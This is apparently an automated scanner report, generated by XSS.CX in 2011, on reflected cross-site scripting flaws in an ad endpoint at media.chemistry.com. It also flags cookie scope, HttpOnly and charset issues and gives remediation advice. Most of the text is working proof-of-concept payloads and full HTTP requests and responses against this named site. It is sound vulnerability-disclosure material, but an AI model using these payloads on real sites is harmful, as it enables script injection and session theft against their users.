Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the @CPSC@ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83549'-alert(1)-'53301692401 was submitted in the @CPSC@ parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cookE/geoip/iframe?spacedesc=2119261_1088018_300x250_1226187_2119261&target=_blank&@CPSC@=http://c.casalemedia.com/c/4/1/85164/83549'-alert(1)-'53301692401 HTTP/1.1 Host: media.chemistry.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/3/foxnews/300x250/homepage-bottom?t=1300987793114&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.foxnews.com%2F&refer=http%3A%2F%2Fwww.foxnews.com%2F User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=52619514.694775158.1300827988.1300827988.1300827988.1; __utmz=52619514.1300827988.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 200 OK Date: Thu, 24 Mar 2011 17:29:41 GMT Server: Apache/1.3.37 (Unix) Set-Cookie: XGIR=5CUsgepa3+PaqVXC2CLAat|0e22et|Pn|JSlDJ|f5|lIY|ulr|-ruD|; path=/ Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://media.chemistry.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=14-543512567; expires=Wed, 24 Mar 2021 05:29:41 GMT; path=/; domain=.chemistry.com Set-Cookie: CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:41 GMT; path=/; domain=.chemistry.com Content-Type: text/html Content-Length: 4912 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://media.chemistry.com/image_htmlping?spacedesc=2119261_1088018_300x250_1226187_2119261&af=108854 ...[SNIP]... pacedesc=2119261_1088018_300x250_1226187_2119261&af=1088544&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2119261&ml_camp=1088080&ml_crid=2126201&ml_multiclick=clickTAG1&click=http://c.casalemedia.com/c/4/1/85164/83549'-alert(1)-'53301692401http://www.chemistry.com/cp/landing/22268?TrackingID=2000952&sourceid=1088080_1088018_1226187_2119261_1088544_2126201_300x250'); clickTAGs += '&swfPATH=' + escape('http://media.chemistry.com/xl/PROD/ ...[SNIP]...
The value of the @CPSC@ request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71cde"><script>alert(1)</script>a3ed6113757 was submitted in the @CPSC@ parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cookE/geoip/iframe?spacedesc=2119261_1088018_300x250_1226187_2119261&target=_blank&@CPSC@=http://c.casalemedia.com/c/4/1/85164/71cde"><script>alert(1)</script>a3ed6113757 HTTP/1.1 Host: media.chemistry.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/3/foxnews/300x250/homepage-bottom?t=1300987793114&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.foxnews.com%2F&refer=http%3A%2F%2Fwww.foxnews.com%2F User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=52619514.694775158.1300827988.1300827988.1300827988.1; __utmz=52619514.1300827988.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 200 OK Date: Thu, 24 Mar 2011 17:29:41 GMT Server: Apache/1.3.37 (Unix) Set-Cookie: XGIR=5CUsgepa3+PaqVXC2CLAat|0e22et|Pn|JSlDJ|f5|lIY|ulr|-ruD|; path=/ Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://media.chemistry.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=11-614147631; expires=Wed, 24 Mar 2021 05:29:41 GMT; path=/; domain=.chemistry.com Set-Cookie: CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:41 GMT; path=/; domain=.chemistry.com Content-Type: text/html Content-Length: 4957 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://media.chemistry.com/image_htmlping?spacedesc=2119261_1088018_300x250_1226187_2119261&af=108854 ...[SNIP]... chemistry.com/click.ng?spacedesc=2119261_1088018_300x250_1226187_2119261&af=1088544&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2119261&ml_camp=1088080&ml_crid=2126201&click=http://c.casalemedia.com/c/4/1/85164/71cde"><script>alert(1)</script>a3ed6113757http://www.chemistry.com/cp/landing/22268?TrackingID=2000952&sourceid=1088080_1088018_1226187_2119261_1088544_2126201_300x250"> ...[SNIP]...
1.3. http://media.chemistry.com/cookE/geoip/iframe [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://media.chemistry.com
Path:
/cookE/geoip/iframe
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d00d'-alert(1)-'0712d03ce0b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cookE/geoip/iframe?spacedesc=2119261_1088018_300x250_1226187_2119261&target=_blank&@CPSC@=http://c.casalemedia.com/c/4/1/85164/&9d00d'-alert(1)-'0712d03ce0b=1 HTTP/1.1 Host: media.chemistry.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/3/foxnews/300x250/homepage-bottom?t=1300987793114&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.foxnews.com%2F&refer=http%3A%2F%2Fwww.foxnews.com%2F User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=52619514.694775158.1300827988.1300827988.1300827988.1; __utmz=52619514.1300827988.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 200 OK Date: Thu, 24 Mar 2011 17:29:43 GMT Server: Apache/1.3.37 (Unix) Set-Cookie: XGIR=5CUsgepa3+PaqVXC2CLAat|0e22et|Pn|JSlDJ|f5|lIY|ulr|-ruD|; path=/ Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://media.chemistry.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=13-542412613; expires=Wed, 24 Mar 2021 05:29:43 GMT; path=/; domain=.chemistry.com Set-Cookie: CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:43 GMT; path=/; domain=.chemistry.com Content-Type: text/html Content-Length: 4921 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://media.chemistry.com/image_htmlping?spacedesc=2119261_1088018_300x250_1226187_2119261&af=108854 ...[SNIP]... acedesc=2119261_1088018_300x250_1226187_2119261&af=1088544&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2119261&ml_camp=1088080&ml_crid=2126203&ml_multiclick=clickTAG1&click=http://c.casalemedia.com/c/4/1/85164/&9d00d'-alert(1)-'0712d03ce0b=1http://www.chemistry.com/cp/landing/22269?TrackingID=2000952&sourceid=1088080_1088018_1226187_2119261_1088544_2126203_300x250'); clickTAGs += '&swfPATH=' + escape('http://media.chemistry.com/xl/PRO ...[SNIP]...
1.4. http://media.chemistry.com/cookE/geoip/iframe [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://media.chemistry.com
Path:
/cookE/geoip/iframe
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc654"><script>alert(1)</script>2a5ba1e485e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cookE/geoip/iframe?spacedesc=2119261_1088018_300x250_1226187_2119261&target=_blank&@CPSC@=http://c.casalemedia.com/c/4/1/85164/&cc654"><script>alert(1)</script>2a5ba1e485e=1 HTTP/1.1 Host: media.chemistry.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/3/foxnews/300x250/homepage-bottom?t=1300987793114&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.foxnews.com%2F&refer=http%3A%2F%2Fwww.foxnews.com%2F User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=52619514.694775158.1300827988.1300827988.1300827988.1; __utmz=52619514.1300827988.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 200 OK Date: Thu, 24 Mar 2011 17:29:42 GMT Server: Apache/1.3.37 (Unix) Set-Cookie: XGIR=5CUsgepa3+PaqVXC2CLAat|0e22et|Pn|JSlDJ|f5|lIY|ulr|-ruD|; path=/ Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://media.chemistry.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=13-542412602; expires=Wed, 24 Mar 2021 05:29:42 GMT; path=/; domain=.chemistry.com Set-Cookie: CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:42 GMT; path=/; domain=.chemistry.com Content-Type: text/html Content-Length: 4966 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://media.chemistry.com/image_htmlping?spacedesc=2119261_1088018_300x250_1226187_2119261&af=108854 ...[SNIP]... hemistry.com/click.ng?spacedesc=2119261_1088018_300x250_1226187_2119261&af=1088544&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2119261&ml_camp=1088080&ml_crid=2126203&click=http://c.casalemedia.com/c/4/1/85164/&cc654"><script>alert(1)</script>2a5ba1e485e=1http://www.chemistry.com/cp/landing/22269?TrackingID=2000952&sourceid=1088080_1088018_1226187_2119261_1088544_2126203_300x250"> ...[SNIP]...
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a26c5"><script>alert(1)</script>44477aff68e was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cookE/geoip/iframe?spacedesc=2119261_1088018_300x250_1226187_2119261&target=_blanka26c5"><script>alert(1)</script>44477aff68e&@CPSC@=http://c.casalemedia.com/c/4/1/85164/ HTTP/1.1 Host: media.chemistry.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/3/foxnews/300x250/homepage-bottom?t=1300987793114&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.foxnews.com%2F&refer=http%3A%2F%2Fwww.foxnews.com%2F User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=52619514.694775158.1300827988.1300827988.1300827988.1; __utmz=52619514.1300827988.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 200 OK Date: Thu, 24 Mar 2011 17:29:40 GMT Server: Apache/1.3.37 (Unix) Set-Cookie: XGIR=5CUsgepa3+PaqVXC2CLAat|0e22et|Pn|JSlDJ|f5|lIY|ulr|-ruD|; path=/ Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://media.chemistry.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=14-543512548; expires=Wed, 24 Mar 2021 05:29:40 GMT; path=/; domain=.chemistry.com Set-Cookie: CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:40 GMT; path=/; domain=.chemistry.com Content-Type: text/html Content-Length: 4957 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://media.chemistry.com/image_htmlping?spacedesc=2119261_1088018_300x250_1226187_2119261&af=108854 ...[SNIP]... <A TARGET="_blanka26c5"><script>alert(1)</script>44477aff68e" HREF="http://media.chemistry.com/click.ng?spacedesc=2119261_1088018_300x250_1226187_2119261&af=1088544&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2119261&ml_camp=1088080&ml_crid=2126201&click=http://c.casalem ...[SNIP]...
The value of the target request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12546'%3balert(1)//d1dec7806a4 was submitted in the target parameter. This input was echoed as 12546';alert(1)//d1dec7806a4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cookE/geoip/iframe?spacedesc=2119261_1088018_300x250_1226187_2119261&target=_blank12546'%3balert(1)//d1dec7806a4&@CPSC@=http://c.casalemedia.com/c/4/1/85164/ HTTP/1.1 Host: media.chemistry.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/3/foxnews/300x250/homepage-bottom?t=1300987793114&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.foxnews.com%2F&refer=http%3A%2F%2Fwww.foxnews.com%2F User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=52619514.694775158.1300827988.1300827988.1300827988.1; __utmz=52619514.1300827988.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 200 OK Date: Thu, 24 Mar 2011 17:29:41 GMT Server: Apache/1.3.37 (Unix) Set-Cookie: XGIR=5CUsgepa3+PaqVXC2CLAat|0e22et|Pn|JSlDJ|f5|lIY|ulr|-ruD|; path=/ Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://media.chemistry.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=14-543512556; expires=Wed, 24 Mar 2021 05:29:41 GMT; path=/; domain=.chemistry.com Set-Cookie: CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:41 GMT; path=/; domain=.chemistry.com Content-Type: text/html Content-Length: 4910 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://media.chemistry.com/image_htmlping?spacedesc=2119261_1088018_300x250_1226187_2119261&af=108854 ...[SNIP]... dle_singlegeo_zip_getmatchblubtn_59462_030311_noy_300x250.swf'; var flash_name= '"' + swf_name + '"'; var swfVer= 80/10; var swfMime= 'application/x-shockwave-flash'; var clickTAGs= 'clickTARGET=_blank12546';alert(1)//d1dec7806a4' + '&clickTAG=' + escape('http://media.chemistry.com/click.ng?spacedesc=2119261_1088018_300x250_1226187_2119261&af=1088544&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2119261&ml_camp=1088080&ml_crid=2126201&ml_ ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
PrefID=14-543512488; expires=Wed, 24 Mar 2021 05:29:36 GMT; path=/; domain=.chemistry.com
CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:36 GMT; path=/; domain=.chemistry.com
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /cookE/geoip/iframe?spacedesc=2119261_1088018_300x250_1226187_2119261&target=_blank&@CPSC@=http://c.casalemedia.com/c/4/1/85164/ HTTP/1.1 Host: media.chemistry.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/3/foxnews/300x250/homepage-bottom?t=1300987793114&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.foxnews.com%2F&refer=http%3A%2F%2Fwww.foxnews.com%2F User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=52619514.694775158.1300827988.1300827988.1300827988.1; __utmz=52619514.1300827988.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 200 OK Date: Thu, 24 Mar 2011 17:29:36 GMT Server: Apache/1.3.37 (Unix) Set-Cookie: XGIR=5CUsgepa3+PaqVXC2CLAat|0e22et|Pn|JSlDJ|f5|lIY|ulr|-ruD|; path=/ Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://media.chemistry.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=14-543512488; expires=Wed, 24 Mar 2021 05:29:36 GMT; path=/; domain=.chemistry.com Set-Cookie: CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:36 GMT; path=/; domain=.chemistry.com Content-Type: text/html Content-Length: 4828 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://media.chemistry.com/image_htmlping?spacedesc=2119261_1088018_300x250_1226187_2119261&af=108854 ...[SNIP]...
PrefID=14-543512488; expires=Wed, 24 Mar 2021 05:29:36 GMT; path=/; domain=.chemistry.com
CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:36 GMT; path=/; domain=.chemistry.com
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /cookE/geoip/iframe?spacedesc=2119261_1088018_300x250_1226187_2119261&target=_blank&@CPSC@=http://c.casalemedia.com/c/4/1/85164/ HTTP/1.1 Host: media.chemistry.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/3/foxnews/300x250/homepage-bottom?t=1300987793114&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.foxnews.com%2F&refer=http%3A%2F%2Fwww.foxnews.com%2F User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=52619514.694775158.1300827988.1300827988.1300827988.1; __utmz=52619514.1300827988.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 200 OK Date: Thu, 24 Mar 2011 17:29:36 GMT Server: Apache/1.3.37 (Unix) Set-Cookie: XGIR=5CUsgepa3+PaqVXC2CLAat|0e22et|Pn|JSlDJ|f5|lIY|ulr|-ruD|; path=/ Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://media.chemistry.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=14-543512488; expires=Wed, 24 Mar 2021 05:29:36 GMT; path=/; domain=.chemistry.com Set-Cookie: CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:36 GMT; path=/; domain=.chemistry.com Content-Type: text/html Content-Length: 4828 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://media.chemistry.com/image_htmlping?spacedesc=2119261_1088018_300x250_1226187_2119261&af=108854 ...[SNIP]...
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET /cookE/geoip/iframe?spacedesc=2119261_1088018_300x250_1226187_2119261&target=_blank&@CPSC@=http://c.casalemedia.com/c/4/1/85164/ HTTP/1.1 Host: media.chemistry.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/3/foxnews/300x250/homepage-bottom?t=1300987793114&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.foxnews.com%2F&refer=http%3A%2F%2Fwww.foxnews.com%2F User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=52619514.694775158.1300827988.1300827988.1300827988.1; __utmz=52619514.1300827988.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
Response
HTTP/1.1 200 OK Date: Thu, 24 Mar 2011 17:29:36 GMT Server: Apache/1.3.37 (Unix) Set-Cookie: XGIR=5CUsgepa3+PaqVXC2CLAat|0e22et|Pn|JSlDJ|f5|lIY|ulr|-ruD|; path=/ Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://media.chemistry.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=14-543512488; expires=Wed, 24 Mar 2021 05:29:36 GMT; path=/; domain=.chemistry.com Set-Cookie: CSList=1088080/1088018,0/0,0/0,0/0,0/0; expires=Wed, 22 Jun 2011 17:29:36 GMT; path=/; domain=.chemistry.com Content-Type: text/html Content-Length: 4828 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://media.chemistry.com/image_htmlping?spacedesc=2119261_1088018_300x250_1226187_2119261&af=108854 ...[SNIP]...
Report generated by XSS.CX at Thu Mar 24 12:51:31 CDT 2011.